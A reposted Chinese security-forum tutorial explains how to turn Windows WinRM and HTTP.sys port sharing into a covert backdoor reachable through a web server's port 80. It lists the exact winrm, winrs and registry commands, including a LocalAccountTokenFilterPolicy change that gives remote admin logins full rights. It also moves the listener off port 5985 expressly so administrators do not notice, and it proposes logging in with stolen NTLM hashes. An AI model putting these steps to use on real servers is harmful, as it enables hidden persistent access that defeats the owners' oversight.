安全矩阵

 找回密码
 立即注册
搜索
查看: 4257|回复: 0

一条命令实现端口复用后门

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-9-29 15:29:57 | 显示全部楼层 |阅读模式
原文链接;一条命令实现端口复用后门

0x00:前言
    说到端口复用,大部分人第一反应肯定是想到内核驱动,需要对网络接口进行一些高大上的操作才能实现。但只要合理利用操作系统提供的功能,就能以简单的方式实现这一目标,本文将公布一种基于内置系统服务的端口复用后门方法。
    对于不想看原理,只关心如何使用的读者可以直接跳到“0x02. 后门配置”。
0x01. 基本原理介绍  

  该后门的基本原理是使用Windows的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

WinRM服务   

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

HTTP.sys驱动  

  HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。
    使用
  1. netsh http show servicestate
复制代码

命令可以查看所有在HTTP.sys上注册过的url前缀。

    实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。


    因此,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过Web端口登录Windows服务器。


0x02. 后门配置开启WinRM服务
在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口,可以省略这一步。
    对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是
  1. winrm quickconfig -q
复制代码

这条命令运行后会自动添加防火墙例外规则,放行5985端口。

    新增80端口Listener   

对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。
使用下面这条命令即可新增一个80端口的listener
  1. winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
复制代码

   对于安装Windows 2012及以上版本操作系统的服务器来讲,只需要这一条命令即可实现端口复用。


这种情况下,老的5985端口listener还保留着


修改WinRM端口
    在Windows 2008上面如果原本没有开启WinRM服务,那么需要把默认的5985端口修改成web服务端口80,否则管理员上来看到一个5985端口就可能起疑心。
    通过下面这条命令即可修改端口为80
  1. winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
复制代码


    这种情况下,管理员查看端口也看不到5985开放,只开放80端口。

    经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,IIS的web服务也能完全正常运行。



0x03. 后门连接和使用本地配置
    本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可。
  1. winrm quickconfig -q
  2. winrm set winrm/config/Client @{TrustedHosts="*"}
复制代码

  连接使用   

使用winrs命令即可连接远程WinRM服务执行命令,并返回结果
  1. winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami
复制代码
上述命令会在远程机器上执行whoami命令,获取结果后直接退出。


将whoami命令换成cmd即可获取一个交互式的shell
  1. winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd cmd
复制代码



UAC问题

WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
  1. reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
复制代码

修改后,普通管理员登录后也是高权限。



Hash登录
    系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。


0x04. 结语   

本文给出了一种使用WinRM作为端口复用后门的方法。但限于篇幅,还存在很多细节问题没有涉及,留待读者进行更深层次的研究。另外也在此抛出两个小问题,有兴趣的读者可以思考下:
    1、在已有WinRM服务的情况下,对于非80端口的web服务要如何处理;
    2、HTTPS连接的配置和使用。

原文转载自:
https://paper.seebug.org/1004/








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 12:25 , Processed in 0.013237 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表